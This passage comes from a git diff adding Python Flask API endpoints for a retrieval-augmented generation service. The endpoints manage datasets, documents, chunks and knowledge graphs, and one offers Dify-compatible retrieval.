kb.chunk_num != 0 and req["embd_id"] != kb.embd_id: + return get_error_data_result(message=f"When chunk_num ({kb.chunk_num}) > 0, embedding_model must remain {kb.embd_id}") + ok, err = verify_embedding_availability(req["embd_id"], tenant_id) + if not ok: + return err + + if "pagerank" in req and req["pagerank"] != kb.pagerank: + if os.environ.get("DOC_ENGINE", "elasticsearch") == "infinity": + return get_error_argument_result(message="'pagerank' can only be set when doc_engine is elasticsearch") + + if req["pagerank"] > 0: + settings.docStoreConn.update({"kb_id": kb.id}, {PAGERANK_FLD: req["pagerank"]}, search.index_name(kb.tenant_id), kb.id) + else: + # Elasticsearch requires PAGERANK_FLD be non-zero! + settings.docStoreConn.update({"exists": PAGERANK_FLD}, {"remove": PAGERANK_FLD}, search.index_name(kb.tenant_id), kb.id) + + if not KnowledgebaseService.update_by_id(kb.id, req): + return get_error_data_result(message="Update dataset error.(Database error)") + + ok, k = KnowledgebaseService.get_by_id(kb.id) + if not ok: + return get_error_data_result(message="Dataset created failed") + + response_data = remap_dictionary_keys(k.to_dict()) + return get_result(data=response_data) + except OperationalError as e: + logging.exception(e) + return get_error_data_result(message="Database operation failed") + + +@manager.route("/datasets", methods=["GET"]) # noqa: F821 +@token_required +def list_datasets(tenant_id): + """ + List datasets. + --- + tags: + - Datasets + security: + - ApiKeyAuth: [] + parameters: + - in: query + name: id + type: string + required: false + description: Dataset ID to filter. + - in: query + name: name + type: string + required: false + description: Dataset name to filter. + - in: query + name: page + type: integer + required: false + default: 1 + description: Page number. + - in: query + name: page_size + type: integer + required: false + default: 30 + description: Number of items per page. + - in: query + name: orderby + type: string + required: false + default: "create_time" + description: Field to order by. + - in: query + name: desc + type: boolean + required: false + default: true + description: Order in descending. + - in: header + name: Authorization + type: string + required: true + description: Bearer token for authentication. + responses: + 200: + description: Successful operation. + schema: + type: array + items: + type: object + """ + args, err = validate_and_parse_request_args(request, ListDatasetReq) + if err is not None: + return get_error_argument_result(err) + + try: + kb_id = request.args.get("id") + name = args.get("name") + if kb_id: + kbs = KnowledgebaseService.get_kb_by_id(kb_id, tenant_id) + + if not kbs: + return get_error_permission_result(message=f"User '{tenant_id}' lacks permission for dataset '{kb_id}'") + if name: + kbs = KnowledgebaseService.get_kb_by_name(name, tenant_id) + if not kbs: + return get_error_permission_result(message=f"User '{tenant_id}' lacks permission for dataset '{name}'") + + tenants = TenantService.get_joined_tenants_by_user_id(tenant_id) + kbs = KnowledgebaseService.get_list( + [m["tenant_id"] for m in tenants], + tenant_id, + args["page"], + args["page_size"], + args["orderby"], + args["desc"], + kb_id, + name, + ) + + response_data_list = [] + for kb in kbs: + response_data_list.append(remap_dictionary_keys(kb)) + return get_result(data=response_data_list) + except OperationalError as e: + logging.exception(e) + return get_error_data_result(message="Database operation failed") + +@manager.route('/datasets//knowledge_graph', methods=['GET']) # noqa: F821 +@token_required +def knowledge_graph(tenant_id,dataset_id): + if not KnowledgebaseService.accessible(dataset_id, tenant_id): + return get_result( + data=False, + message='No authorization.', + code=settings.RetCode.AUTHENTICATION_ERROR + ) + _, kb = KnowledgebaseService.get_by_id(dataset_id) + req = { + "kb_id": [dataset_id], + "knowledge_graph_kwd": ["graph"] + } + + obj = {"graph": {}, "mind_map": {}} + if not settings.docStoreConn.indexExist(search.index_name(kb.tenant_id), dataset_id): + return get_result(data=obj) + sres = settings.retrievaler.search(req, search.index_name(kb.tenant_id), [dataset_id]) + if not len(sres.ids): + return get_result(data=obj) + + for id in sres.ids[:1]: + ty = sres.field[id]["knowledge_graph_kwd"] + try: + content_json = json.loads(sres.field[id]["content_with_weight"]) + except Exception: + continue + + obj[ty] = content_json + + if "nodes" in obj["graph"]: + obj["graph"]["nodes"] = sorted(obj["graph"]["nodes"], key=lambda x: x.get("pagerank", 0), reverse=True)[:256] + if "edges" in obj["graph"]: + node_id_set = { o["id"] for o in obj["graph"]["nodes"] } + filtered_edges = [o for o in obj["graph"]["edges"] if o["source"] != o["target"] and o["source"] in node_id_set and o["target"] in node_id_set] + obj["graph"]["edges"] = sorted(filtered_edges, key=lambda x: x.get("weight", 0), reverse=True)[:128] + return get_result(data=obj) + +@manager.route('/datasets//knowledge_graph', methods=['DELETE']) # noqa: F821 +@token_required +def delete_knowledge_graph(tenant_id,dataset_id): + if not KnowledgebaseService.accessible(dataset_id, tenant_id): + return get_result( + data=False, + message='No authorization.', + code=settings.RetCode.AUTHENTICATION_ERROR + ) + _, kb = KnowledgebaseService.get_by_id(dataset_id) + settings.docStoreConn.delete({"knowledge_graph_kwd": ["graph", "subgraph", "entity", "relation"]}, search.index_name(kb.tenant_id), dataset_id) + + return get_result(data=True) diff --git a/api/apps/sdk/dify_retrieval.py b/api/apps/sdk/dify_retrieval.py new file mode 100644 index 0000000..446d4d7 --- /dev/null +++ b/api/apps/sdk/dify_retrieval.py @@ -0,0 +1,104 @@ + # +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import logging + +from flask import request, jsonify + +from api.db import LLMType +from api.db.services.document_service import DocumentService +from api.db.services.knowledgebase_service import KnowledgebaseService +from api.db.services.llm_service import LLMBundle +from api import settings +from api.utils.api_utils import validate_request, build_error_result, apikey_required +from rag.app.tag import label_question +from api.db.services.dialog_service import meta_filter, convert_conditions + + +@manager.route('/dify/retrieval', methods=['POST']) # noqa: F821 +@apikey_required +@validate_request("knowledge_id", "query") +def retrieval(tenant_id): + req = request.json + question = req["query"] + kb_id = req["knowledge_id"] + use_kg = req.get("use_kg", False) + retrieval_setting = req.get("retrieval_setting", {}) + similarity_threshold = float(retrieval_setting.get("score_threshold", 0.0)) + top = int(retrieval_setting.get("top_k", 1024)) + metadata_condition = req.get("metadata_condition",{}) + metas = DocumentService.get_meta_by_kbs([kb_id]) + + doc_ids = [] + try: + + e, kb = KnowledgebaseService.get_by_id(kb_id) + if not e: + return build_error_result(message="Knowledgebase not found!", code=settings.RetCode.NOT_FOUND) + + embd_mdl = LLMBundle(kb.tenant_id, LLMType.EMBEDDING.value, llm_name=kb.embd_id) + print(metadata_condition) + print("after",convert_conditions(metadata_condition)) + doc_ids.extend(meta_filter(metas, convert_conditions(metadata_condition))) + print("doc_ids",doc_ids) + if not doc_ids and metadata_condition is not None: + doc_ids = ['-999'] + ranks = settings.retrievaler.retrieval( + question, + embd_mdl, + kb.tenant_id, + [kb_id], + page=1, + page_size=top, + similarity_threshold=similarity_threshold, + vector_similarity_weight=0.3, + top=top, + doc_ids=doc_ids, + rank_feature=label_question(question, [kb]) + ) + + if use_kg: + ck = settings.kg_retrievaler.retrieval(question, + [tenant_id], + [kb_id], + embd_mdl, + LLMBundle(kb.tenant_id, LLMType.CHAT)) + if ck["content_with_weight"]: + ranks["chunks"].insert(0, ck) + + records = [] + for c in ranks["chunks"]: + e, doc = DocumentService.get_by_id( c["doc_id"]) + c.pop("vector", None) + meta = getattr(doc, 'meta_fields', {}) + meta["doc_id"] = c["doc_id"] + records.append({ + "content": c["content_with_weight"], + "score": c["similarity"], + "title": c["docnm_kwd"], + "metadata": meta + }) + + return jsonify({"records": records}) + except Exception as e: + if str(e).find("not_found") > 0: + return build_error_result( + message='No chunk found! Check the chunk status please!', + code=settings.RetCode.NOT_FOUND + ) + logging.exception(e) + return build_error_result(message=str(e), code=settings.RetCode.SERVER_ERROR) + + diff --git a/api/apps/sdk/doc.py b/api/apps/sdk/doc.py new file mode 100644 index 0000000..6008afd --- /dev/null +++ b/api/apps/sdk/doc.py @@ -0,0 +1,1497 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import datetime +import logging +import pathlib +import re +from io import BytesIO + +import xxhash +from flask import request, send_file +from peewee import OperationalError +from pydantic import BaseModel, Field, validator + +from api import settings +from api.constants import FILE_NAME_LEN_LIMIT +from api.db import FileSource, FileType, LLMType, ParserType, TaskStatus +from api.db.db_models import File, Task +from api.db.services.document_service import DocumentService +from api.db.services.file2document_service import File2DocumentService +from api.db.services.file_service import FileService +from api.db.services.knowledgebase_service import KnowledgebaseService +from api.db.services.llm_service import LLMBundle +from api.db.services.tenant_llm_service import TenantLLMService +from api.db.services.task_service import TaskService, queue_tasks +from api.db.services.dialog_service import meta_filter, convert_conditions +from api.utils.api_utils import check_duplicate_ids, construct_json_result, get_error_data_result, get_parser_config, get_result, server_error_response, token_required +from rag.app.qa import beAdoc, rmPrefix +from rag.app.tag import label_question +from rag.nlp import rag_tokenizer, search +from rag.prompts.generator import cross_languages, keyword_extraction +from rag.utils import rmSpace +from rag.utils.storage_factory import STORAGE_IMPL + +MAXIMUM_OF_UPLOADING_FILES = 256 + + +class Chunk(BaseModel): + id: str = "" + content: str = "" + document_id: str = "" + docnm_kwd: str = "" + important_keywords: list = Field(default_factory=list) + questions: list = Field(default_factory=list) + question_tks: str = "" + image_id: str = "" + available: bool = True + positions: list[list[int]] = Field(default_factory=list) + + @validator("positions") + def validate_positions(cls, value): + for sublist in value: + if len(sublist) != 5: + raise ValueError("Each sublist in positions must have a length of 5") + return value + + +@manager.route("/datasets//documents", methods=["POST"]) # noqa: F821 +@token_required +async def upload(dataset_id, tenant_id): + """ + Upload documents to a dataset. + --- + tags: + - Documents + security: + - ApiKeyAuth: [] + parameters: + - in: path + name: dataset_id + type: string + required: true + description: ID of the dataset. + - in: header + name: Authorization + type: string + required: true + description: Bearer token for authentication. + - in: formData + name: file + type: file + required: true + description: Document files to upload. + responses: + 200: + description: Successfully uploaded documents. + schema: + type: object + properties: + data: + type: array + items: + type: object + properties: + id: + type: string + description: Document ID. + name: + type: string + description: Document name. + chunk_count: + type: integer + description: Number of chunks. + token_count: + type: integer + description: Number of tokens. + dataset_id: + type: string + description: ID of the dataset. + chunk_method: + type: string + description: Chunking method used. + run: + type: string + description: Processing status. + """ + if "file" not in request.files: + return get_error_data_result(message="No file part!", code=settings.RetCode.ARGUMENT_ERROR) + file_objs = request.files.getlist("file") + for file_obj in file_objs: + if file_obj.filename == "": + return get_result(message="No file selected!", code=settings.RetCode.ARGUMENT_ERROR) + if len(file_obj.filename.encode("utf-8")) > FILE_NAME_LEN_LIMIT: + return get_result(message=f"File name must be {FILE_NAME_LEN_LIMIT} bytes or less.", code=settings.RetCode.ARGUMENT_ERROR) + """ + # total size + total_size = 0 + for file_obj in file_objs: + file_obj.seek(0, os.SEEK_END) + total_size += file_obj.tell() + file_obj.seek(0) + MAX_TOTAL_FILE_SIZE = 10 * 1024 * 1024 + if total_size > MAX_TOTAL_FILE_SIZE: + return get_result( + message=f"Total file size exceeds 10MB limit! ({total_size / (1024 * 1024):.2f} MB)", + code=settings.RetCode.ARGUMENT_ERROR, + ) + """ + e, kb = KnowledgebaseService.get_by_id(dataset_id) + if not e: + raise LookupError(f"Can't find the dataset with ID {dataset_id}!") + err, files = await FileService.upload_document(kb, file_objs, tenant_id) + if err: + return get_result(message="\n".join(err), code=settings.RetCode.SERVER_ERROR) + # rename key's name + renamed_doc_list = [] + for file in files: + doc = file[0] + key_mapping = { + "chunk_num": "chunk_count", + "kb_id": "dataset_id", + "token_num": "token_count", + "parser_id": "chunk_method", + } + renamed_doc = {} + for key, value in doc.items(): + new_key = key_mapping.get(key, key) + renamed_doc[new_key] = value + renamed_doc["run"] = "UNSTART" + renamed_doc_list.append(renamed_doc) + return get_result(data=renamed_doc_list) + + +@manager.route("/datasets//documents/", methods=["PUT"]) # noqa: F821 +@token_required +def update_doc(tenant_id, dataset_id, document_id): + """ + Update a document within a dataset. + --- + tags: + - Documents + security: + - ApiKeyAuth: [] + parameters: + - in: path + name: dataset_id + type: string + required: true + description: ID of the dataset. + - in: path + name: document_id + type: string + required: true + description: ID of the document to update. + - in: header + name: Authorization + type: string + required: true + description: Bearer token for authentication. + - in: body + name: body + description: Document update parameters. + required: true + schema: + type: object + properties: + name: + type: string + description: New name of the document. + parser_config: + type: object + description: Parser configuration. + chunk_method: + type: string + description: Chunking method. + enabled: + type: boolean + description: Document status. + responses: + 200: + description: Document updated successfully. + schema: + type: object + """ + req = request.json + if not KnowledgebaseService.query(id=dataset_id, tenant_id=tenant_id): + return get_error_data_result(message="You don't own the dataset.") + e, kb = KnowledgebaseService.get_by_id(dataset_id) + if not e: + return get_error_data_result(message="Can't find this knowledgebase!") + doc = DocumentService.query(kb_id=dataset_id, id=document_id) + if not doc: + return get_error_data_result(message="The dataset doesn't own the document.") + doc = doc[0] + if "chunk_count" in req: + if req["chunk_count"] != doc.chunk_num: + return get_error_data_result(message="Can't change `chunk_count`.") + if "token_count" in req: + if req["token_count"] != doc.token_num: + return get_error_data_result(message="Can't change `token_count`.") + if "progress" in req: + if req["progress"] != doc.progress: + return get_error_data_result(message="Can't change `progress`.") + + if "meta_fields" in req: + if not isinstance(req["meta_fields"], dict): + return get_error_data_result(message="meta_fields must be a dictionary") + DocumentService.update_meta_fields(document_id, req["meta_fields"]) + + if "name" in req and req["name"] != doc.name: + if len(req["name"].encode("utf-8")) > FILE_NAME_LEN_LIMIT: + return get_result( + message=f"File name must be {FILE_NAME_LEN_LIMIT} bytes or less.", + code=settings.RetCode.ARGUMENT_ERROR, + ) + if pathlib.Path(req["name"].lower()).suffix != pathlib.Path(doc.name.lower()).suffix: + return get_result( + message="The extension of file can't be changed", + code=settings.RetCode.ARGUMENT_ERROR, + ) + for d in DocumentService.query(name=req["name"], kb_id=doc.kb_id): + if d.name == req["name"]: + return get_error_data_result(message="Duplicated document name in the same dataset.") + if not DocumentService.update_by_id(document_id, {"name": req["name"]}): + return get_error_data_result(message="Database error (Document rename)!") + + informs = File2DocumentService.get_by_document_id(document_id) + if informs: + e, file = FileService.get_by_id(informs[0].file_id) + FileService.update_by_id(file.id, {"name": req["name"]}) + + if "parser_config" in req: + DocumentService.update_parser_config(doc.id, req["parser_config"]) + if "chunk_method" in req: + valid_chunk_method = {"naive", "manual", "qa", "table", "paper", "book", "laws", "presentation", "picture", "one", "knowledge_graph", "email", "tag"} + if req.get("chunk_method") not in valid_chunk_method: + return get_error_data_result(f"`chunk_method` {req['chunk_method']} doesn't exist") + + if doc.type == FileType.VISUAL or re.search(r"\.(ppt|pptx|pages)$", doc.name): + return get_error_data_result(message="Not supported yet!") + + if doc.parser_id.lower() != req["chunk_method"].lower(): + e = DocumentService.update_by_id( + doc.id, + { + "parser_id": req["chunk_method"], + "progress": 0, + "progress_msg": "", + "run": TaskStatus.UNSTART.value, + }, + ) + if not e: + return get_error_data_result(message="Document not found!") + if not req.get("parser_config"): + req["parser_config"] = get_parser_config(req["chunk_method"], req.get("parser_config")) + DocumentService.update_parser_config(doc.id, req["parser_config"]) + if doc.token_num > 0: + e = DocumentService.increment_chunk_num( + doc.id, + doc.kb_id, + doc.token_num * -1, + doc.chunk_num * -1, + doc.process_duration * -1, + ) + if not e: + return get_error_data_result(message="Document not found!") + settings.docStoreConn.delete({"doc_id": doc.id}, search.index_name(tenant_id), dataset_id) + + if "enabled" in req: + status = int(req["enabled"]) + if doc.status != req["enabled"]: + try: + if not DocumentService.update_by_id(doc.id, {"status": str(status)}): + return get_error_data_result(message="Database error (Document update)!") + + settings.docStoreConn.update({"doc_id": doc.id}, {"available_int": status}, search.index_name(kb.tenant_id), doc.kb_id) + return get_result(data=True) + except Exception as e: + return server_error_response(e) + + try: + ok, doc = DocumentService.get_by_id(doc.id) + if not ok: + return get_error_data_result(message="Dataset created failed") + except OperationalError as e: + logging.exception(e) + return get_error_data_result(message="Database operation failed") + + key_mapping = { + "chunk_num": "chunk_count", + "kb_id": "dataset_id", + "token_num": "token_count", + "parser_id": "chunk_method", + } + run_mapping = { + "0": "UNSTART", + "1": "RUNNING", + "2": "CANCEL", + "3": "DONE", + "4": "FAIL", + } + renamed_doc = {} + for key, value in doc.to_dict().items(): + if key == "run": + renamed_doc["run"] = run_mapping.get(str(value)) + new_key = key_mapping.get(key, key) + renamed_doc[new_key] = value + if key == "run": + renamed_doc["run"] = run_mapping.get(value) + + return get_result(data=renamed_doc) + + +@manager.route("/datasets//documents/", methods=["GET"]) # noqa: F821 +@token_required +def download(tenant_id, dataset_id, document_id): + """ + Download a document from a dataset. + --- + tags: + - Documents + security: + - ApiKeyAuth: [] + produces: + - application/octet-stream + parameters: + - in: path + name: dataset_id + type: string + required: true + description: ID of the dataset. + - in: path + name: document_id + type: string + required: true + description: ID of the document to download. + - in: header + name: Authorization + type: string + required: true + description: Bearer token for authentication. + responses: + 200: + description: Document file stream. + schema: + type: file + 400: + description: Error message. + schema: + type: object + """ + if not document_id: + return get_error_data_result(message="Specify document_id please.") + if not KnowledgebaseService.query(id=dataset_id, tenant_id=tenant_id): + return get_error_data_result(message=f"You do not own the dataset {dataset_id}.") + doc = DocumentService.query(kb_id=dataset_id, id=document_id) + if not doc: + return get_error_data_result(message=f"The dataset not own the document {document_id}.") + # The process of downloading + doc_id, doc_location = File2DocumentService.get_storage_address(doc_id=document_id) # minio address + file_stream = STORAGE_IMPL.get(doc_id, doc_location) + if not file_stream: + return construct_json_result(message="This file is empty.", code=settings.RetCode.DATA_ERROR) + file = BytesIO(file_stream) + # Use send_file with a proper filename and MIME type + return send_file( + file, + as_attachment=True, + download_name=doc[0].name, + mimetype="application/octet-stream", # Set a default MIME type + ) + + +@manager.route("/datasets//documents", methods=["GET"]) # noqa: F821 +@token_required +def list_docs(dataset_id, tenant_id): + """ + List documents in a dataset. + --- + tags: + - Documents + security: + - ApiKeyAuth: [] + parameters: + - in: path + name: dataset_id + type: string + required: true + description: ID of the dataset. + - in: query + name: id + type: string + required: false + description: Filter by document ID. + - in: query + name: page + type: integer + required: false + default: 1 + description: Page number. + - in: query + name: page_size + type: integer + required: false + default: 30 + description: Number of items per page. + - in: query + name: orderby + type: string + required: false + default: "create_time" + description: Field to order by. + - in: query + name: desc + type: boolean + required: false + default: true + description: Order in descending. + - in: query + name: create_time_from + type: integer + required: false + default: 0 + description: Unix timestamp for filtering documents created after this time. 0 means no filter. + - in: query + name: create_time_to + type: integer + required: false + default: 0 + description: Unix timestamp for filtering documents created before this time. 0 means no filter. + - in: header + name: Authorization + type: string + required: true + description: Bearer token for authentication. + responses: + 200: + description: List of documents. + schema: + type: object + properties: + total: + type: integer + description: Total number of documents. + docs: + type: array + items: + type: object + properties: + id: + type: string + description: Document ID. + name: + type: string + description: Document name. + chunk_count: + type: integer + description: Number of chunks. + token_count: + type: integer + description: Number of tokens. + dataset_id: + type: string + description: ID of the dataset. + chunk_method: + type: string + description: Chunking method used. + run: + type: string + description: Processing status. + """ + if not KnowledgebaseService.accessible(kb_id=dataset_id, user_id=tenant_id): + return get_error_data_result(message=f"You don't own the dataset {dataset_id}. ") + id = request.args.get("id") + name = request.args.get("name") + + if id and not DocumentService.query(id=id, kb_id=dataset_id): + return get_error_data_result(message=f"You don't own the document {id}.") + if name and not DocumentService.query(name=name, kb_id=dataset_id): + return get_error_data_result(message=f"You don't own the document {name}.") + + page = int(request.args.get("page", 1)) + keywords = request.args.get("keywords", "") + page_size = int(request.args.get("page_size", 30)) + orderby = request.args.get("orderby", "create_time") + if request.args.get("desc") == "False": + desc = False + else: + desc = True + docs, tol = DocumentService.get_list(dataset_id, page, page_size, orderby, desc, keywords, id, name) + + create_time_from = int(request.args.get("create_time_from", 0)) + create_time_to = int(request.args.get("create_time_to", 0)) + + if create_time_from or create_time_to: + filtered_docs = [] + for doc in docs: + doc_create_time = doc.get("create_time", 0) + if (create_time_from == 0 or doc_create_time >= create_time_from) and (create_time_to == 0 or doc_create_time <= create_time_to): + filtered_docs.append(doc) + docs = filtered_docs + + # rename key's name + renamed_doc_list = [] + key_mapping = { + "chunk_num": "chunk_count", + "kb_id": "dataset_id", + "token_num": "token_count", + "parser_id": "chunk_method", + } + run_mapping = { + "0": "UNSTART", + "1": "RUNNING", + "2": "CANCEL", + "3": "DONE", + "4": "FAIL", + } + for doc in docs: + renamed_doc = {} + for key, value in doc.items(): + if key == "run": + renamed_doc["run"] = run_mapping.get(str(value)) + new_key = key_mapping.get(key, key) + renamed_doc[new_key] = value + if key == "run": + renamed_doc["run"] = run_mapping.get(value) + renamed_doc_list.append(renamed_doc) + return get_result(data={"total": tol, "docs": renamed_doc_list}) + + +@manager.route("/datasets//documents", methods=["DELETE"]) # noqa: F821 +@token_required +def delete(tenant_id, dataset_id): + """ + Delete documents from a dataset. + --- + tags: + - Documents + security: + - ApiKeyAuth: [] + parameters: + - in: path + name: dataset_id + type: string + required: true + description: ID of the dataset. + - in: body + name: body + description: Document deletion parameters. + required: true + schema: + type: object + properties: + ids: + type: array + items: + type: string + description: List of document IDs to delete. + - in: header + name: Authorization + type: string + required: true + description: Bearer token for authentication. + responses: + 200: + description: Documents deleted successfully. + schema: + type: object + """ + if not KnowledgebaseService.accessible(kb_id=dataset_id, user_id=tenant_id): + return get_error_data_result(message=f"You don't own the dataset {dataset_id}. ") + req = request.json + if not req: + doc_ids = None + else: + doc_ids = req.get("ids") + if not doc_ids: + doc_list = [] + docs = DocumentService.query(kb_id=dataset_id) + for doc in docs: + doc_list.append(doc.id) + else: + doc_list = doc_ids + + unique_doc_ids, duplicate_messages = check_duplicate_ids(doc_list, "document") + doc_list = unique_doc_ids + + root_folder = FileService.get_root_folder(tenant_id) + pf_id = root_folder["id"] + FileService.init_knowledgebase_docs(pf_id, tenant_id) + errors = "" + not_found = [] + success_count = 0 + for doc_id in doc_list: + try: + e, doc = DocumentService.get_by_id(doc_id) + if not e: + not_found.append(doc_id) + continue + tenant_id = DocumentService.get_tenant_id(doc_id) + if not tenant_id: + return get_error_data_result(message="Tenant not found!") + + b, n = File2DocumentService.get_storage_address(doc_id=doc_id) + + if not DocumentService.remove_document(doc, tenant_id): + return get_error_data_result(message="Database error (Document removal)!") + + f2d = File2DocumentService.get_by_document_id(doc_id) + FileService.filter_delete( + [ + File.source_type == FileSource.KNOWLEDGEBASE, + File.id == f2d[0].file_id, + ] + ) + File2DocumentService.delete_by_document_id(doc_id) + + STORAGE_IMPL.rm(b, n) + success_count += 1 + except Exception as e: + errors += str(e) + + if not_found: + return get_result(message=f"Documents not found: {not_found}", code=settings.RetCode.DATA_ERROR) + + if errors: + return get_result(message=errors, code=settings.RetCode.SERVER_ERROR) + + if duplicate_messages: + if success_count > 0: + return get_result( + message=f"Partially deleted {success_count} datasets with {len(duplicate_messages)} errors", + data={"success_count": success_count, "errors": duplicate_messages}, + ) + else: + return get_error_data_result(message=";".join(duplicate_messages)) + + return get_result() + + +@manager.route("/datasets//chunks", methods=["POST"]) # noqa: F821 +@token_required +def parse(tenant_id, dataset_id): + """ + Start parsing documents into chunks. + --- + tags: + - Chunks + security: + - ApiKeyAuth: [] + parameters: + - in: path + name: dataset_id + type: string + required: true + description: ID of the dataset. + - in: body + name: body + description: Parsing parameters. + required: true + schema: + type: object + properties: + document_ids: + type: array + items: + type: string + description: List of document IDs to parse. + - in: header + name: Authorization + type: string + required: true + description: Bearer token for authentication. + responses: + 200: + description: Parsing started successfully. + schema: + type: object + """ + if not KnowledgebaseService.accessible(kb_id=dataset_id, user_id=tenant_id): + return get_error_data_result(message=f"You don't own the dataset {dataset_id}.") + req = request.json + if not req.get("document_ids"): + return get_error_data_result("`document_ids` is required") + doc_list = req.get("document_ids") + unique_doc_ids, duplicate_messages = check_duplicate_ids(doc_list, "document") + doc_list = unique_doc_ids + + not_found = [] + success_count = 0 + for id in doc_list: + doc = DocumentService.query(id=id, kb_id=dataset_id) + if not doc: + not_found.append(id) + continue + if not doc: + return get_error_data_result(message=f"You don't own the document {id}.") + if 0.0 < doc[0].progress < 1.0: + return get_error_data_result("Can't parse document that is currently being processed") + info = {"run": "1", "progress": 0, "progress_msg": "", "chunk_num": 0, "token_num": 0} + DocumentService.update_by_id(id, info) + settings.docStoreConn.delete({"doc_id": id}, search.index_name(tenant_id), dataset_id) + TaskService.filter_delete([Task.doc_id == id]) + e, doc = DocumentService.get_by_id(id) + doc = doc.to_dict() + doc["tenant_id"] = tenant_id + bucket, name = File2DocumentService.get_storage_address(doc_id=doc["id"]) + queue_tasks(doc, bucket, name, 0) + success_count += 1 + if not_found: + return get_result(message=f"Documents not found: {not_found}", code=settings.RetCode.DATA_ERROR) + if duplicate_messages: + if success_count > 0: + return get_result( + message=f"Partially parsed {success_count} documents with {len(duplicate_messages)} errors", + data={"success_count": success_count, "errors": duplicate_messages}, + ) + else: + return get_error_data_result(message=";".join(duplicate_messages)) + + return get_result() + + +@manager.route("/datasets//chunks", methods=["DELETE"]) # noqa: F821 +@token_required +def stop_parsing(tenant_id, dataset_id): + """ + Stop parsing documents into chunks. + --- + tags: + - Chunks + security: + - ApiKeyAuth: [] + parameters: + - in: path + name: dataset_id + type: string + required: true + description: ID of the dataset. + - in: body + name: body + description: Stop parsing parameters. + required: true + schema: + type: object + properties: + document_ids: + type: array + items: + type: string + description: List of document IDs to stop parsing. + - in: header + name: Authorization + type: string + required: true + description: Bearer token for authentication. + responses: + 200: + description: Parsing stopped successfully. + schema: + type: object + """ + if not KnowledgebaseService.accessible(kb_id=dataset_id, user_id=tenant_id): + return get_error_data_result(message=f"You don't own the dataset {dataset_id}.") + req = request.json + + if not req.get("document_ids"): + return get_error_data_result("`document_ids` is required") + doc_list = req.get("document_ids") + unique_doc_ids, duplicate_messages = check_duplicate_ids(doc_list, "document") + doc_list = unique_doc_ids + + success_count = 0 + for id in doc_list: + doc = DocumentService.query(id=id, kb_id=dataset_id) + if not doc: + return get_error_data_result(message=f"You don't own the document {id}.") + if int(doc[0].progress) == 1 or doc[0].progress == 0: + return get_error_data_result("Can't stop parsing document with progress at 0 or 1") + info = {"run": "2", "progress": 0, "chunk_num": 0} + DocumentService.update_by_id(id, info) + settings.docStoreConn.delete({"doc_id": doc[0].id}, search.index_name(tenant_id), dataset_id) + success_count += 1 + if duplicate_messages: + if success_count > 0: + return get_result( + message=f"Partially stopped {success_count} documents with {len(duplicate_messages)} errors", + data={"success_count": success_count, "errors": duplicate_messages}, + ) + else: + return get_error_data_result(message=";".join(duplicate_messages)) + return get_result() + + +@manager.route("/datasets//documents//chunks", methods=["GET"]) # noqa: F821 +@token_required +def list_chunks(tenant_id, dataset_id, document_id): + """ + List chunks of a document. + --- + tags: + - Chunks + security: + - ApiKeyAuth: [] + parameters: + - in: path + name: dataset_id + type: string + required: true + description: ID of the dataset. + - in: path + name: document_id + type: string + required: true + description: ID of the document. + - in: query + name: page + type: integer + required: false + default: 1 + description: Page number. + - in: query + name: page_size + type: integer + required: false + default: 30 + description: Number of items per page. + - in: query + name: id + type: string + required: false + default: "" + description: Chunk Id. + - in: header + name: Authorization + type: string + required: true + description: Bearer token for authentication. + responses: + 200: + description: List of chunks. + schema: + type: object + properties: + total: + type: integer + description: Total number of chunks. + chunks: + type: array + items: + type: object + properties: + id: + type: string + description: Chunk ID. + content: + type: string + description: Chunk content. + document_id: + type: string + description: ID of the document. + important_keywords: + type: array + items: + type: string + description: Important keywords. + image_id: + type: string + description: Image ID associated with the chunk. + doc: + type: object + description: Document details. + """ + if not KnowledgebaseService.accessible(kb_id=dataset_id, user_id=tenant_id): + return get_error_data_result(message=f"You don't own the dataset {dataset_id}.") + doc = DocumentService.query(id=document_id, kb_id=dataset_id) + if not doc: + return get_error_data_result(message=f"You don't own the document {document_id}.") + doc = doc[0] + req = request.args + doc_id = document_id + page = int(req.get("page", 1)) + size = int(req.get("page_size", 30)) + question = req.get("keywords", "") + query = { + "doc_ids": [doc_id], + "page": page, + "size": size, + "question": question, + "sort": True, + } + key_mapping = { + "chunk_num": "chunk_count", + "kb_id": "dataset_id", + "token_num": "token_count", + "parser_id": "chunk_method", + } + run_mapping = { + "0": "UNSTART", + "1": "RUNNING", + "2": "CANCEL", + "3": "DONE", + "4": "FAIL", + } + doc = doc.to_dict() + renamed_doc = {} + for key, value in doc.items(): + new_key = key_mapping.get(key, key) + renamed_doc[new_key] = value + if key == "run": + renamed_doc["run"] = run_mapping.get(str(value)) + + res = {"total": 0, "chunks": [], "doc": renamed_doc} + if req.get("id"): + chunk = settings.docStoreConn.get(req.get("id"), search.index_name(tenant_id), [dataset_id]) + if not chunk: + return get_result(message=f"Chunk not found: {dataset_id}/{req.get('id')}", code=settings.RetCode.NOT_FOUND) + k = [] + for n in chunk.keys(): + if re.search(r"(_vec$|_sm_|_tks|_ltks)", n): + k.append(n) + for n in k: + del chunk[n] + if not chunk: + return get_error_data_result(f"Chunk `{req.get('id')}` not found.") + res["total"] = 1 + final_chunk = { + "id": chunk.get("id", chunk.get("chunk_id")), + "content": chunk["content_with_weight"], + "document_id": chunk.get("doc_id", chunk.get("document_id")), + "docnm_kwd": chunk["docnm_kwd"], + "important_keywords": chunk.get("important_kwd", []), + "questions": chunk.get("question_kwd", []), + "dataset_id": chunk.get("kb_id", chunk.get("dataset_id")), + "image_id": chunk.get("img_id", ""), + "available": bool(chunk.get("available_int", 1)), + "positions": chunk.get("position_int", []), + } + res["chunks"].append(final_chunk) + _ = Chunk(**final_chunk) + + elif settings.docStoreConn.indexExist(search.index_name(tenant_id), dataset_id): + 